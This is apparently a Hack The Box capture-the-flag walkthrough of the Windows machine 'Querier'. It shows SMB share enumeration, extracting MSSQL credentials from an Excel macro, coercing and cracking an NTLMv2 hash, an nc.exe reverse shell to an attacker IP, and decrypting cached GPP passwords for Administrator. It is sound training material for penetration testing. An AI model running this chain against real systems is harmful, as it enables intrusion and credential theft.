HTB - Querier

Target IP: 10.129.9.36 Domain: HTB.LOCAL Hostname: QUERIER OS: Windows Server 2019 (Build 17763) Difficulty: Medium Author: [g1nt0n1c]


1. Phase 1: Reconnaissance & Information Gathering

1.1 TCP Port Discovery

# Targeted scan on common Windows ports with version/script detection
nmap -p 135,139,445,1433,5985 -sCV -T5 -oA nmap/Querier 10.129.9.36

Port Analysis & Attack Surface

PortServiceNotes
445/tcpSMBSigning disabled — NTLM relay attacks possible
1433/tcpMSSQL 2017Primary attack surface — no Kerberos/LDAP confirms this is not a DC
5985/tcpWinRMRemote shell if valid credentials found
PORT     STATE SERVICE       VERSION
445/tcp  open  microsoft-ds?
1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00 RTM
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0
Service Info: OS: Windows

| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required   ← relay attacks possible

Key observations:

  • No DNS (53), Kerberos (88), or LDAP (389) — this is a member server, not a DC. Domain auth must use --local-auth or -d . syntax.
  • SMB signing is not required — NTLM relay is viable if we can coerce authentication.

1.2 SMB Probe

# Quick probe to confirm OS, signing status, and null auth capability
nxc smb 10.129.9.36
# [*] Windows 10 / Server 2019 Build 17763 (name:QUERIER) (domain:HTB.LOCAL) (signing:False) (Null Auth:True)

2. Phase 2: SMB Enumeration & Credential Discovery

2.1 Enumerate Shares

This is not a domain controller, so nxc must authenticate against the local SAM database rather than AD. Use --local-auth to target the machine itself.

# Standard null session fails — no DC to validate against
nxc smb 10.129.9.36 -u 'guest' -p '' --shares
# [-] Connection Error: NETBIOS connection timed out
 
# --local-auth: authenticate against the machine's local SAM, not the domain
nxc smb 10.129.9.36 -u 'guest' -p '' --shares --local-auth
# Reports    READ

Key finding: A non-default Reports share is readable.

2.2 Spider and Download All Files

# Spider all readable shares and download everything under 50KB
nxc smb 10.129.9.36 -u 'guest' -p '' --local-auth -M spider_plus -o DOWNLOAD_FLAG=True
 
# Copy downloaded files to the current directory
cp -r /home/kali/.nxc/modules/nxc_spider_plus/10.129.9.36/ .

Key finding: Currency Volume Report.xlsm — a macro-enabled Excel document.

2.3 Analyse the Excel Macro

Open the .xlsm file and inspect the VBA macro (Developer → Macros → Edit, or use olevba):

' Hardcoded MSSQL connection string inside the macro
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;" & _
                        "Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"

Extracted credentials: reporting:PcwTWTHRwryjc$c6

2.4 Validate Credentials Against MSSQL

On a non-DC, MSSQL local auth requires -d . (the dot is Windows shorthand for “local machine”) rather than --local-auth.

# --local-auth does not work for MSSQL; use -d . instead
nxc mssql 10.129.9.36 -u reporting -p 'PcwTWTHRwryjc$c6' -d .
# [+] .\reporting:PcwTWTHRwryjc$c6

3. Phase 3: MSSQL Exploitation — NTLM Hash Coercion

3.1 Connect to MSSQL

# -windows-auth: use Windows auth (not SQL Server auth)
mssqlclient.py reporting:'PcwTWTHRwryjc$c6'@10.129.9.36 -windows-auth
# SQL (QUERIER\reporting  reporting@volume)>

3.2 Identify Current User via xp_dirtree

-- List user home directories to infer which account SQL Server runs as
xp_dirtree C:\Users
-- Administrator, mssql-svc, Public  ← mssql-svc is likely our service account

3.3 Coerce NTLM Authentication via xp_dirtree

SMB signing is disabled — if we can force the server to authenticate outbound to us, Responder captures the NTLMv2 hash and we can relay or crack it.

xp_dirtree resolves UNC paths (\\host\share), which triggers an outbound SMB authentication attempt to our machine.

Set up Responder on Kali (in a separate terminal):

# -I: interface | -d: DHCP poisoning | -w: WPAD | -v: verbose
sudo responder -I tun0 -dwv

Trigger the coercion — two methods:

# Method A: nxc module (automated)
nxc mssql 10.129.9.36 -u reporting -p 'PcwTWTHRwryjc$c6' -d . -M mssql_coerce -o LISTENER=10.10.16.149
 
# Method B: manual via mssqlclient (inside the SQL shell)
xp_dirtree //10.10.16.149/fakeshare

Captured NTLMv2 hash:

[SMB] NTLMv2-SSP Username : QUERIER\mssql-svc
[SMB] NTLMv2-SSP Hash     : mssql-svc::QUERIER:9c382bb417171bbf:E1925AB...

3.4 Crack the NTLMv2 Hash

# -m 5600: NTLMv2 mode | rockyou.txt: standard wordlist
hashcat -m 5600 mssql-svc.ntlmv2.hash /usr/share/wordlists/rockyou.txt
# mssql-svc:corporate568

3.5 Validate Cracked Credentials

nxc mssql 10.129.9.36 -u 'mssql-svc' -p 'corporate568' -d .
# [+] .\mssql-svc:corporate568 (Pwn3d!)  ← DB admin access

4. Phase 4: Initial Access (Reverse Shell as mssql-svc)

As a DB admin, xp_cmdshell is now available. Use nxc to upload nc.exe and execute it.

4.1 Transfer nc.exe to Target

# Locate nc.exe on Kali
locate nc.exe
# /usr/share/windows-resources/binaries/nc.exe
cp /usr/share/windows-resources/binaries/nc.exe .
 
# Upload via nxc's built-in file transfer
nxc mssql 10.129.9.36 -u mssql-svc -p 'corporate568' -d . --put-file nc.exe 'c:\Users\Public\nc.exe'

4.2 Execute Reverse Shell

# Start listener
rlwrap nc -lvnp 443
 
# Trigger nc.exe via xp_cmdshell through nxc
nxc mssql 10.129.9.36 -u mssql-svc -p 'corporate568' -d . -x 'c:\Users\Public\nc.exe -e cmd.exe 10.10.16.149 443'
# C:\Windows\system32> whoami
# querier\mssql-svc

5. Phase 5: Privilege Escalation (Cached GPP Credentials)

5.1 Run PowerUp.ps1 — Automated PrivEsc Checks

PowerUp is a PowerShell script that audits the local machine for common privilege escalation vectors.

# Locate and copy PowerUp to serving directory
locate PowerUp.ps1
# /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1
cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .
 
# Serve it
python3 -m http.server 80
# On the victim — download and execute
powershell
iwr http://10.10.16.149/PowerUp.ps1 -OutFile PowerUp.ps1
. .\PowerUp.ps1
Invoke-AllChecks

Key findings from PowerUp:

CheckFinding
Process Token PrivilegesSeImpersonatePrivilege enabled
Modifiable ServicesUsoSvc — can be restarted by current user
Cached GPP FilesGroups.xml with Administrator cpassword

5.2 Extract Cached GPP Credentials

Group Policy Preferences (GPP) used to allow admins to set local account passwords via GPO. These were stored in Groups.xml on SYSVOL, encrypted with a static AES key that Microsoft publicly disclosed in 2012 (MS14-025).

# Read the cached Groups.xml directly
type "C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml"
# userName="Administrator"
# cpassword="CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/..."

5.3 Decrypt the GPP Password

# gpp-decrypt uses the known static AES key to reverse the encryption
gpp-decrypt CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ
# MyUnclesAreMarioAndLuigi!!1!

5.4 Validate Administrator Access

nxc smb 10.129.9.36 -u administrator -p 'MyUnclesAreMarioAndLuigi!!1!' -d . -x whoami
# [+] .\administrator:MyUnclesAreMarioAndLuigi!!1! (Pwn3d!)
# querier\administrator

Deep Dive: NTLM Coercion via xp_dirtree

When SQL Server resolves a UNC path (\\attacker\share), Windows initiates an outbound SMB connection to that host. As part of the SMB handshake, it sends an NTLMv2 authentication message containing the service account’s Net-NTLMv2 hash. Responder acts as a rogue SMB server and captures this hash.

Since SMB signing is disabled on Querier, the captured hash could also be used in an NTLM relay attack (forwarded to another service) without cracking. In this case, cracking is faster since the password is in rockyou.

Other coercion primitives that work similarly: xp_fileexist, LOAD_FILE() in MySQL, UTL_HTTP in Oracle, and various Windows API calls via tools like PetitPotam or PrinterBug.


Deep Dive: GPP Cached Credentials (MS14-025)

Group Policy Preferences allowed deploying local admin passwords across machines via Active Directory. The passwords were stored in Groups.xml on SYSVOL encrypted with AES-256 — but Microsoft published the static encryption key in their MSDN documentation in 2012. Any domain user could read SYSVOL.

Microsoft patched this in MS14-025 (2014), which removed the ability to set new passwords via GPP. However, existing cached files are not removed — environments that deployed GPP passwords before 2014 and never cleaned up may still have Groups.xml files on disk containing crackable credentials.

Kali’s gpp-decrypt tool implements the known key. PowerUp’s Get-CachedGPPPassword check and Invoke-AllChecks both surface this automatically.


Key Takeaways & Checklist

  • On non-DC machines, use -d . for MSSQL auth instead of --local-auth
  • When SMB signing is False: set up Responder and coerce auth via xp_dirtree //attacker_ip/share
  • xp_dirtree C:\Users reveals which user accounts exist — infer the service account
  • Always run tree -a / inspect archives for hidden files (dotfiles, .xml, .config)
  • Run PowerUp Invoke-AllChecks early in PrivEsc — it catches GPP, weak services, and token privileges in one pass
  • Cached GPP credentials (Groups.xml) are a quick win on older environments — decrypt with gpp-decrypt
  • SeImpersonatePrivilege on a service account → Potato attacks (e.g. GodPotato, PrintSpoofer) as an alternative PrivEsc path